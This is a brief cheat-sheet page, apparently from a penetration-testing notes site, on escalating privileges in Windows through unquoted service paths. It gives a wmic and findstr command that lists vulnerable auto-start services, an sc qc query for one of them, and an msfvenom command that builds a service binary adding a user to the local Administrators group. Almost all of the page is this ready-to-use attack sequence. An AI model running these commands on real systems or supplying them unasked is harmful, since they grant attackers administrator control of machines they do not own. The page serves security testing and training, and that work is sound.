Windows PrivEsc with Unquoted Service Path
A service path with unquoted and spaces might be vulnerable to privilege escalation.
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """ "
Copied!sc qc "Development Service"
Copied!msfvenom -p windows/exec CMD='net localgroup Administrators victim-user /add' -f exe-service -o Devservice.exe
Copied!Last updated
